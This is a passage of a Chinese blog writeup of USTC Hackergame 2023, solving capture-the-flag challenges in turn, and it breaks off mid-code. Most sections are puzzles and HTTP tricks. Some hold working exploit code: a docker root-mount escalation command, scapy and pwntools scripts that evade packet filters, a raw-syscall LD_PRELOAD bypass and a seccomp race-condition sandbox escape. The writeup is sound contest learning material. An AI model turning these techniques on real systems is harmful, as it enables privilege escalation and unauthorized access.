Jekyll2023-11-05T05:07:03+00:00http://benpigchu.github.io/pikanote/feed.xmlPikanoteBPC的神奇笔记簿,据说有很多神奇的东西benpigchuUSTC Hackergame 2023 Writeup2023-11-04T07:44:37+00:002023-11-04T07:44:37+00:00http://benpigchu.github.io/pikanote/article/ustc-hackergame-2023-writeup<blockquote>
<p>题图是本次 USTC Hackergame 我的题目完成情况</p>
</blockquote>
<p>一年一度的 USTC Hackergame 又开始了。今年的比赛比去年稍微晚了一些。和往年一样,今年也是每做一题就写一题的 Writeup,这样就不会因为比赛结束之后没有动力写而咕掉了。</p>
<p>以下按照解题时间顺序排序,有多个小题的,各小题分开排列。为了简单,题目本身的描述我就不写在 Writeup 里了,大家可以去 <a href="https://github.com/USTC-Hackergame/hackergame2023-writeups" target="_blank" rel="noopener">官方 Writeup</a> 查看。</p>
<h2 id="hackergame-启动">Hackergame 启动</h2>
<p>和往年一样,相似度写在 URL search param 里了,所以我直接按照要求填入 100。</p>
<p>其实理论上应该可以直接把示例音频传上去……但是按照官方题解,居然是比较波形图像素颜色,这样就做不到那么高的准确率了,可恶。</p>
<h2 id="异星歧途">异星歧途</h2>
<p>因为想要抢首杀所以先做这个,当然最后也抢到了。</p>
<p>开关分成了 4 组,分别是不同的谜题。</p>
<p>首先是第一组,在开关旁边的微型处理器中写明了逐位判断逻辑,直接把 <code class="language-plaintext highlighter-rouge">if</code> 语句的内容提取出来反过来就好,得到序列是 10100101。</p>
<p>其次是第二组,在开关旁边的逻辑处理器中将8个按钮汇总成了二进制数,检查的逻辑是,需要二进制数是一个不大于 256 的平方数,并且最高位和第六高位为1。由此得到序列是 11000100。</p>
<p>然后是第三组,是游戏机制谜题。要想不爆炸,首先要把第八个开关和前一组的最后一个开关设为一致,否则发电机会因为冷却不足而爆炸。其次要保证冷冻液正常生产,所以应当关闭漏液体的管道、阻止原料钛运输的传送带门,启动抽水机和冷冻液混合器。最后打开反应堆启动加入钍就可。另外为了避免抢电,需要关闭攻击建筑。得到序列是 10001100。</p>
<p>然后是第四组,是模拟电路题,由于可以清楚得看到电路中间的过程,逐位试错即可,得到序列是 01110111。</p>
<p>提交序列即可得到 flag。Mindustry 是个好游戏,可惜我没怎么玩过。</p>
<h2 id="猫咪小测">猫咪小测</h2>
<p>惯例的搜索引擎使用技巧考试。</p>
<ul>
<li>对于第一题,在 <a href="https://lib.ustc.edu.cn/%E6%9C%AC%E9%A6%86%E6%A6%82%E5%86%B5/%E5%9B%BE%E4%B9%A6%E9%A6%86%E6%A6%82%E5%86%B5%E5%85%B6%E4%BB%96%E6%96%87%E6%A1%A3/%E8%A5%BF%E5%8C%BA%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%AE%80%E4%BB%8B/" target="_blank" rel="noopener">西区图书馆简介</a>(我去,中文URL)中可以看到,外文书库在 12 楼。</li>
<li>对于第二题,在 arXiv 中搜索可以得到 <a href="https://arxiv.org/abs/2303.17626" target="_blank" rel="noopener">原始论文</a>,直接在摘要中可以看到答案为 23。</li>
<li>对于第三题,直接搜索可以找到 <a href="https://cateee.net/lkddb/web-lkddb/TCP_CONG_BBR.html" target="_blank" rel="noopener">对应的选项</a> 是 <code class="language-plaintext highlighter-rouge">CONFIG_TCP_CONG_BBR</code>。</li>
<li>对于第四题,可以直接搜索到 <a href="https://drops.dagstuhl.de/opus/volltexte/2023/18237/pdf/LIPIcs-ECOOP-2023-44.pdf" target="_blank" rel="noopener">原始论文</a>,文件中标明了会议为 ECOOP。</li>
</ul>
<p>和去年一样,可以爆破前两题。</p>
<h2 id="更深更暗">更深更暗</h2>
<p>打开 Devtool 即可看到 flag。</p>
<h2 id="赛博井字棋">赛博井字棋</h2>
<p>只需要在 Devtool 中魔改请求就能在已经有子的格子中落子,具体的就是在请求里复制请求为 fetch,然后粘贴到控制台发送,然后就能在请求的返回里拿到 flag。</p>
<p>顺带一提,井字棋只要双方都够强可以保证平局。</p>
<h2 id="-小型大语言模型星球---you-are-smart">🪐 小型大语言模型星球 - You Are Smart</h2>
<p>我不知道,我输入了 “Am I smart?” 就直接拿到 flag 了。</p>
<h2 id="组委会模拟器">组委会模拟器</h2>
<p>拿出我的 TamperMonkey,写脚本自动点击消息。代码如下:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">check</span><span class="o">=</span><span class="p">()</span><span class="o">=></span><span class="p">{</span>
<span class="p">[...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="dl">"</span><span class="s2">.fakeqq-message__bubble</span><span class="dl">"</span><span class="p">)].</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">e</span><span class="p">)</span><span class="o">=></span><span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="sr">/hack</span><span class="se">\[[</span><span class="sr">a-z</span><span class="se">]</span><span class="sr">*</span><span class="se">\]</span><span class="sr">/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">innerHTML</span><span class="p">)){</span>
<span class="nx">e</span><span class="p">.</span><span class="nx">click</span><span class="p">()</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="p">}</span>
<span class="nx">setInterval</span><span class="p">(</span><span class="nx">check</span><span class="p">,</span><span class="mi">100</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="奶奶的睡前-flag-故事">奶奶的睡前 flag 故事</h2>
<p>这不是著名的 CVE-2023-21036 嘛,直接使用 <a href="https://acropalypse.app/" target="_blank" rel="noopener">这个工具</a>,使用自定义分辨率把宽度设置为 1080,即可得到答案。</p>
<h2 id="虫">虫</h2>
<p>这不是 SSTV 嘛。我这里使用 <a href="https://rx-sstv.software.informer.com/1.4/" target="_blank" rel="noopener">RX-SSTV</a>,然后耳机对准麦克风进行解码直接就能得到答案。</p>
<h2 id="json--yaml---json--yaml-11">JSON ⊂ YAML? - JSON ⊄ YAML 1.1</h2>
<p>根据 <a href="https://john-millikin.com/json-is-not-a-yaml-subset" target="_blank" rel="noopener">这篇文章</a>,JSON 的科学计数法允许指数部分不带符号,而 YAML 1.1 不允许。所以 YAML 1.1 会把 <code class="language-plaintext highlighter-rouge">1e2</code> 解析为字符串而不是像 JSON 一样解析为数字。注意原始的 YAML 1.1 规范中并没有详细定义这一点。</p>
<h2 id="json--yaml---json--yaml-12">JSON ⊂ YAML? - JSON ⊄ YAML 1.2</h2>
<p>根据 <a href="https://yaml.org/spec/1.2.2/#mapping" target="_blank" rel="noopener">规范</a> YAML 1.2 不支持字典中有重复的键。所以提交 <code class="language-plaintext highlighter-rouge">{"a":"a","a":"a"}</code> 就好。</p>
<h2 id="git-git">Git? Git!</h2>
<p>直接 <code class="language-plaintext highlighter-rouge">git reflog</code> 找到之前的 <code class="language-plaintext highlighter-rouge">HEAD</code> 然后 reset 过去即可获得 flag,在 README.md 中间。</p>
<h2 id="docker-for-everyone">Docker for Everyone</h2>
<p>根据 <a href="https://gtfobins.github.io/gtfobins/docker/" target="_blank" rel="noopener">GTFOBins</a> ,直接运行 <code class="language-plaintext highlighter-rouge">docker run -v /:/mnt --rm -it alpine chroot /mnt sh</code> 即可读取 flag 文件。</p>
<h2 id="http-集邮册---5-种状态码">HTTP 集邮册 - 5 种状态码</h2>
<p>直接提交获得 <code class="language-plaintext highlighter-rouge">200 OK</code>。</p>
<p>删除 <code class="language-plaintext highlighter-rouge">HTTP</code> (但不删除后面的版本号)得到 <code class="language-plaintext highlighter-rouge">400 Bad Request</code>。</p>
<p>把 <code class="language-plaintext highlighter-rouge">GET</code> 改成 <code class="language-plaintext highlighter-rouge">GT</code> 得到 <code class="language-plaintext highlighter-rouge">405 Method Not Allowed</code>。</p>
<p>添加 <code class="language-plaintext highlighter-rouge">Range: bytes=0-1</code> 标头可以得到 <code class="language-plaintext highlighter-rouge">206 Partial Content</code>。</p>
<p>添加 <code class="language-plaintext highlighter-rouge">Expect: 100-continue</code> 标头可以得到 <code class="language-plaintext highlighter-rouge">100 Continue</code>。</p>
<h2 id="-低带宽星球---小试牛刀">🪐 低带宽星球 - 小试牛刀</h2>
<p>直接使用 <a href="https://tinypng.com/" target="_blank" rel="noopener">tinypng</a> 就可以获得所需的图片文件。</p>
<h2 id="-高频率星球">🪐 高频率星球</h2>
<p>直接暴力解析 asciinema 文件,提取录制的输出,再把 <code class="language-plaintext highlighter-rouge">less</code> 输出的控制字符去掉,即可还原 <code class="language-plaintext highlighter-rouge">flag.js</code>。代码如下:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">fs</span><span class="o">=</span><span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">fs</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">data</span><span class="o">=</span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">asciinema_restore.rec</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">utf-8</span><span class="dl">"</span><span class="p">).</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="dl">"</span><span class="p">).</span><span class="nx">filter</span><span class="p">(</span><span class="nx">l</span><span class="o">=></span><span class="nx">l</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="o">!==</span><span class="dl">""</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">l</span><span class="o">=></span><span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">l</span><span class="p">))</span>
<span class="kd">let</span> <span class="nx">raw</span><span class="o">=</span><span class="nx">data</span><span class="p">.</span><span class="nx">filter</span><span class="p">(</span><span class="nx">l</span><span class="o">=></span><span class="nx">l</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">===</span><span class="dl">"</span><span class="s2">o</span><span class="dl">"</span><span class="o">&&</span><span class="nx">l</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">>=</span><span class="mf">6.9268</span><span class="o">&&</span><span class="nx">l</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o"><=</span><span class="mi">62</span><span class="o">&&</span><span class="nx">l</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">!==</span><span class="dl">"</span><span class="se">\r\</span><span class="s2">u001b[K </span><span class="se">\</span><span class="s2">u001b[KESC</span><span class="se">\</span><span class="s2">b</span><span class="se">\</span><span class="s2">b</span><span class="se">\</span><span class="s2">bESC</span><span class="se">\</span><span class="s2">u001b[K[</span><span class="se">\</span><span class="s2">b[</span><span class="se">\</span><span class="s2">u001b[K6</span><span class="se">\</span><span class="s2">b6</span><span class="se">\</span><span class="s2">u001b[K~</span><span class="se">\</span><span class="s2">b~</span><span class="se">\r\</span><span class="s2">u001b[K</span><span class="dl">"</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">l</span><span class="o">=></span><span class="nx">l</span><span class="p">[</span><span class="mi">2</span><span class="p">]).</span><span class="nx">join</span><span class="p">(</span><span class="dl">""</span><span class="p">)</span>
<span class="nx">raw</span><span class="o">=</span><span class="nx">raw</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">"</span><span class="se">\</span><span class="s2">u001b[7mflag.js</span><span class="se">\</span><span class="s2">u001b[27m</span><span class="se">\</span><span class="s2">u001b[K</span><span class="dl">"</span><span class="p">,</span><span class="dl">""</span><span class="p">)</span>
<span class="nx">raw</span><span class="o">=</span><span class="nx">raw</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">"</span><span class="s2">:</span><span class="se">\</span><span class="s2">u001b[K</span><span class="dl">"</span><span class="p">,</span><span class="dl">""</span><span class="p">)</span>
<span class="nx">raw</span><span class="o">=</span><span class="nx">raw</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">"</span><span class="se">\</span><span class="s2">u001b[K~</span><span class="se">\</span><span class="s2">b~</span><span class="se">\r\</span><span class="s2">u001b[K</span><span class="dl">"</span><span class="p">,</span><span class="dl">""</span><span class="p">)</span>
<span class="nx">raw</span><span class="o">=</span><span class="nx">raw</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">"</span><span class="se">\r\</span><span class="s2">u001b[K </span><span class="se">\</span><span class="s2">u001b[KESC</span><span class="se">\</span><span class="s2">b</span><span class="se">\</span><span class="s2">b</span><span class="se">\</span><span class="s2">bESC</span><span class="se">\</span><span class="s2">u001b[K[</span><span class="se">\</span><span class="s2">b[</span><span class="se">\</span><span class="s2">u001b[K6</span><span class="se">\</span><span class="s2">b6</span><span class="dl">"</span><span class="p">,</span><span class="dl">""</span><span class="p">)</span>
<span class="nx">raw</span><span class="o">=</span><span class="nx">raw</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">"</span><span class="se">\</span><span class="s2">u001b[7m(END)</span><span class="se">\</span><span class="s2">u001b[27m</span><span class="se">\</span><span class="s2">u001b[K</span><span class="dl">"</span><span class="p">,</span><span class="dl">""</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">raw</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="http-集邮册---没有状态哈">HTTP 集邮册 - 没有状态……哈?</h2>
<p>我们使用 HTTP 0.9,也就是直接把 <code class="language-plaintext highlighter-rouge">HTTP/1.1</code> 直接干掉,这样就没有状态码了!</p>
<h2 id="http-集邮册---12-种状态码">HTTP 集邮册 - 12 种状态码</h2>
<p>将 HTTP 版本改为 2.0 可以得到 <code class="language-plaintext highlighter-rouge">505 Version Not Supported</code>。</p>
<p>将路径改为 <code class="language-plaintext highlighter-rouge">/A</code> 可以得到 <code class="language-plaintext highlighter-rouge">404 Not Found</code>。</p>
<p>将路径改得足够长可以得到 <code class="language-plaintext highlighter-rouge">414 URI Too Long</code>。</p>
<p>添加 <code class="language-plaintext highlighter-rouge">If-Match:"1"</code> 标头可以得到 <code class="language-plaintext highlighter-rouge">412 Precondition Failed</code>。</p>
<p>添加 <code class="language-plaintext highlighter-rouge">If-None-Match:"<此处填入正确的ETag>"</code> 标头可以得到 <code class="language-plaintext highlighter-rouge">304 Not Modified</code>。</p>
<p>添加 <code class="language-plaintext highlighter-rouge">Range: bytes=1000000-1"</code> 标头可以得到 <code class="language-plaintext highlighter-rouge">416 Range Not Satisfiable</code>。</p>
<p>添加 <code class="language-plaintext highlighter-rouge">Transfer-Encoding: compress</code> 标头可以得到 <code class="language-plaintext highlighter-rouge">501 Not Implemented</code>。</p>
<p>赛后看官方题解才知道可以有 <code class="language-plaintext highlighter-rouge">413 Content Too Large</code>,尝试的时候只想到了 payload,没想到可以直接改 <code class="language-plaintext highlighter-rouge">Content-Length</code> 标头。</p>
<h2 id="惜字如金-20">惜字如金 2.0</h2>
<p>比去年的同名题目简单不少。代码是单表替换,只是密码表的部分被惜字如金掉了,并且每行都只去除了一个字母。根据 flag 开头结尾的格式以及中间不含花括号的性质可以轻易复原部分的密码表,至于剩下的部分,就不影响答案了。</p>
<p>有一说一,这题与其放 Hackergame,不如放 CCBC 这样的 Puzzle Hunt,毕竟纯靠推理也能得到答案。</p>
<h2 id="-流式星球">🪐 流式星球</h2>
<p>可以直接通过 ffmpeg 将像素流编码成可以播放的视频,但是我们还需要知道相关的参数。题目给出的由脚本可知,像素格式为 <code class="language-plaintext highlighter-rouge">rgb24</code>,那么我们接下来只需要知道一帧的长宽了。可以通过以下命令提取第一帧作为尝试:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffmpeg <span class="nt">-f</span> rawvideo <span class="nt">-pix_fmt</span> rgb24 <span class="nt">-s</span>:v 1920x1080 <span class="nt">-r</span> 1 <span class="nt">-i</span> video.bin <span class="nt">-frames</span>:v 1 video.png <span class="nt">-y</span>
</code></pre></div></div>
<p>然后由于一般视频相邻的像素相似,而相邻的帧也相似,所以可以通过在图像编辑软件内测量来获得正确的视频尺寸,最后复原视频即可,命令如下:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffmpeg <span class="nt">-f</span> rawvideo <span class="nt">-pix_fmt</span> rgb24 <span class="nt">-s</span>:v 427x759 <span class="nt">-r</span> 24 <span class="nt">-i</span> video.bin video.mp4 <span class="nt">-y</span>
</code></pre></div></div>
<p>但是,为什么,为什么要在这里放春日影名场面啊!</p>
<h2 id="旅行照片-30---神秘奖牌">旅行照片 3.0 - 神秘奖牌</h2>
<p>惯例的社会工程学题。注意本次的图片加上了标识选手的水印,同时抹除了 EXIF 信息。另外今年的问题也难上很多。</p>
<p>搜索奖牌上的文本可以知道,这是 2002 年物理学诺贝尔奖的奖牌。查询拉面店的店名可知,这家拉面店是 <a href="https://maps.app.goo.gl/QNAAJ3RDYDSS5DoB9" target="_blank" rel="noopener">东京大学附近的一信拉面店</a>,可知学长去东京大学留学了。查询附近的博物馆,可以查到上野公园附近的的博物馆群,在附近可以找到 <a href="https://maps.app.goo.gl/hHBEMKN9MWRhGQRH8" target="_blank" rel="noopener">喷泉图片的拍摄位置</a>,马路对面的博物馆应当是 <a href="https://maps.app.goo.gl/6zmwRN3TVEmsmkgj8" target="_blank" rel="noopener">东京国立博物馆</a></p>
<p>用日文搜索 “東京大学 ノーベル賞” 可以找到 <a href="https://www.s.u-tokyo.ac.jp/ja/gallery/nobelprize/" target="_blank" rel="noopener">东京大学理学部的诺贝尔奖展示介绍页</a>。页面中记载的三位诺贝尔奖得主中包含了图片上的 2002 年物理学诺贝尔奖牌的得主小柴昌俊。页面中出生最晚的是 2015 年物理学诺贝尔奖牌得主梶田隆章,其研究所为东京大学宇宙射线研究所,缩写为 ICRR。</p>
<p>由于上野公园的活动众多,第一题我采取了爆破,毕竟今年暑假也不过几十天而已。爆破得到当日是 2023 年 8 月 10 日。</p>
<h2 id="旅行照片-30---这是什么活动">旅行照片 3.0 - 这是什么活动?</h2>
<p>在 <a href="https://www.uenopark.info/ad2023/" target="_blank" rel="noopener">搜到的活动列表</a> 中查询可以得到,当天在上野公园正在进行的活动是 <a href="https://umeshu-matsuri.jp/tokyo_ueno/" target="_blank" rel="noopener">东京全国梅酒祭</a>,在其 <a href="https://umeshu-matsuri.jp/tokyo_staff/" target="_blank" rel="noopener">招募志愿者的的页面</a> 可以看到在线问卷的链接,编号为 S495584522。</p>
<p>根据 <a href="https://www.u-tokyo.ac.jp/ja/students/facility/h17.html" target="_blank" rel="noopener">东京大学学生福利介绍页</a>,学长可以免费参观东京国立博物馆,花费 0 日元。</p>
<h2 id="komm-süsser-flagge---我的-post">Komm, süsser Flagge - 我的 POST</h2>
<p>鉴于规则是拒绝含有<code class="language-plaintext highlighter-rouge">POST</code> 的 tcp 包,我们只需要把请求在开头的 <code class="language-plaintext highlighter-rouge">POST</code> 中间分成两个TCP包就好了。代码如下</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pwn</span>
<span class="n">token</span><span class="o">=</span><span class="sa">b</span><span class="s">"<token>"</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">18080</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'PO'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'ST / HTTP/1.1</span><span class="se">\r\n</span><span class="s">Host:202.38.93.111</span><span class="se">\r\n</span><span class="s">Content-Length: <token length></span><span class="se">\r\n</span><span class="s">Content-Type: application/x-www-form-urlencoded</span><span class="se">\r\n\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="komm-süsser-flagge---我的-p">Komm, süsser Flagge - 我的 P</h2>
<p>规则应当是是拒绝内容以 <code class="language-plaintext highlighter-rouge">P</code> 开头的 tcp 包。然而,由于和 <a href="http://www.stearns.org/doc/iptables-u32.current.html" target="_blank" rel="noopener">这篇文章</a> 中描述的实现相比,取 TCP 数据指针的时候移位后忘记加 Mask 了,所以如果我们把数据指针后面的两位(刚好是保留位)设为非 0,我们就能绕过这个规则。</p>
<p>我这里使用了 <code class="language-plaintext highlighter-rouge">scapy</code> 进行发包。我从 <code class="language-plaintext highlighter-rouge">scapy</code> 的源码里把 <code class="language-plaintext highlighter-rouge">TCP_client</code> 这个类进行了修改,让它初始化包的时候把保留位全部设置为 1,也就是:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="bp">self</span><span class="p">.</span><span class="n">l4</span><span class="p">[</span><span class="n">TCP</span><span class="p">].</span><span class="n">reserved</span> <span class="o">=</span> <span class="mb">0b111</span>
</code></pre></div></div>
<p>然后运行即可获得 flag:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s</span><span class="o">=</span><span class="n">Custom_TCP_client</span><span class="p">.</span><span class="n">tcplink</span><span class="p">(</span><span class="n">Raw</span><span class="p">,</span> <span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">18081</span><span class="p">,</span><span class="n">debug</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
<span class="n">token</span><span class="o">=</span><span class="sa">b</span><span class="s">"<token>"</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'POST / HTTP/1.1</span><span class="se">\r\n</span><span class="s">Host:202.38.93.111</span><span class="se">\r\n</span><span class="s">Content-Length: <token length></span><span class="se">\r\n</span><span class="s">Content-Type: application/x-www-form-urlencoded</span><span class="se">\r\n\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">raw</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">()))</span>
</code></pre></div></div>
<p>不过我是 Windows 用户,自然没法像官方题解一样直接用 nftables,虽然 wsl 可能能用。</p>
<h2 id="komm-süsser-flagge---我的-get">Komm, süsser Flagge - 我的 GET</h2>
<p>鉴于所有包的前五十个字节中都必须含有 <code class="language-plaintext highlighter-rouge">GET / HTTP</code>,我们只能增大 TCP 包内的数据指针,在数据之前空出一些字节来放这个字符串了。刚好,TCP 的 options 字段就可以放自定义的内容。</p>
<p>和上一小题同样使用 <code class="language-plaintext highlighter-rouge">scapy</code>,在初始化的时候加入自定义 options:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="bp">self</span><span class="p">.</span><span class="n">l4</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">dst</span><span class="o">=</span><span class="n">ip</span><span class="p">)</span> <span class="o">/</span> <span class="n">TCP</span><span class="p">(</span><span class="n">sport</span><span class="o">=</span><span class="bp">self</span><span class="p">.</span><span class="n">sport</span><span class="p">,</span> <span class="n">dport</span><span class="o">=</span><span class="bp">self</span><span class="p">.</span><span class="n">dport</span><span class="p">,</span> <span class="n">flags</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span>
<span class="n">seq</span><span class="o">=</span><span class="n">random</span><span class="p">.</span><span class="n">randrange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">),</span><span class="n">options</span><span class="o">=</span><span class="p">[(</span><span class="mi">16</span><span class="p">,</span><span class="sa">b</span><span class="s">'GET / HTTP'</span><span class="p">)])</span>
</code></pre></div></div>
<p>然后运行即可获得 flag:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s</span><span class="o">=</span><span class="n">Custom_TCP_client</span><span class="p">.</span><span class="n">tcplink</span><span class="p">(</span><span class="n">Raw</span><span class="p">,</span> <span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">18082</span><span class="p">,</span><span class="n">debug</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
<span class="n">token</span><span class="o">=</span><span class="sa">b</span><span class="s">"<token>"</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'POST / HTTP/1.1</span><span class="se">\r\n</span><span class="s">Host:202.38.93.111</span><span class="se">\r\n</span><span class="s">Content-Length: <token length></span><span class="se">\r\n</span><span class="s">Content-Type: application/x-www-form-urlencoded</span><span class="se">\r\n\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">raw</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">()))</span>
</code></pre></div></div>
<h2 id="为什么要打开-flag----ld_preload-love">为什么要打开 /flag 😡 - LD_PRELOAD, love!</h2>
<p>显而易见,只需要我们手动进行系统调用,那么 <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> 就管不着我们。代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="kt">char</span><span class="o">*</span> <span class="n">filename</span><span class="o">=</span><span class="s">"./flag"</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">flags</span><span class="o">=</span><span class="n">O_RDONLY</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">mode</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">sys_open</span><span class="o">=</span><span class="mi">2</span><span class="p">;</span>
<span class="n">__asm__</span><span class="p">(</span>
<span class="s">"syscall"</span>
<span class="o">:</span><span class="s">"=a"</span><span class="p">(</span><span class="n">fd</span><span class="p">)</span>
<span class="o">:</span><span class="s">"0"</span><span class="p">(</span><span class="n">sys_open</span><span class="p">),</span><span class="s">"D"</span><span class="p">(</span><span class="n">filename</span><span class="p">),</span><span class="s">"S"</span><span class="p">(</span><span class="n">flags</span><span class="p">),</span><span class="s">"d"</span><span class="p">(</span><span class="n">mode</span><span class="p">)</span>
<span class="o">:</span> <span class="s">"rcx"</span><span class="p">,</span> <span class="s">"r11"</span><span class="p">,</span> <span class="s">"memory"</span>
<span class="p">);</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span><span class="o">=</span><span class="p">{};</span>
<span class="kt">int</span> <span class="n">size</span><span class="o">=</span><span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="n">buffer</span><span class="p">,</span><span class="mi">64</span><span class="p">);</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">buffer</span><span class="p">,</span><span class="n">size</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">size</span><span class="o"><</span><span class="mi">64</span><span class="p">){</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="为什么要打开-flag----都是-seccomp-的错">为什么要打开 /flag 😡 - 都是 seccomp 的错</h2>
<p>题目的代码写明了它修改自 Crate.io 上的 greenhook 库,和 <a href="https://www.taoky.moe/greenhook/src/greenhook/lib.rs.html" target="_blank" rel="noopener">它的源码</a> 对比可以发现 <code class="language-plaintext highlighter-rouge">continue_syscall</code> 上的 <code class="language-plaintext highlighter-rouge">unsafe</code> 和注释消失了。而这便提示我们,如果我们打开的路径在 Supervisor 检查和内核处理之间发生变化的话,那么便可以绕过 Supervisor 的检查。可以参考 <a href="https://man.archlinux.org/man/seccomp_unotify.2.en#Design_goals;_use_of_SECCOMP_USER_NOTIF_FLAG_CONTINUE" target="_blank" rel="noopener">这段文档</a>。不过具体实现上需要注意,由于现代 libc 里面的 <code class="language-plaintext highlighter-rouge">pthread_create</code> 使用的 <code class="language-plaintext highlighter-rouge">clone3</code> 系统调用并没有被允许,所以我只能手搓一个 <code class="language-plaintext highlighter-rouge">clone</code> 系统调用来起线程修改文件名。代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdatomic.h>
#define _SCHED_H 1
#define __USE_GNU 1
#include <bits/sched.h>
#include <linux/sched.h>
</span>
<span class="kt">char</span> <span class="n">filename</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span><span class="o">=</span><span class="s">"./elag"</span><span class="p">;</span>
<span class="kt">int</span> <span class="nf">blinker</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="n">ptr</span><span class="p">){</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
<span class="n">filename</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">=</span><span class="sc">'f'</span><span class="p">;</span>
<span class="n">atomic_thread_fence</span><span class="p">(</span><span class="n">memory_order_seq_cst</span><span class="p">);</span>
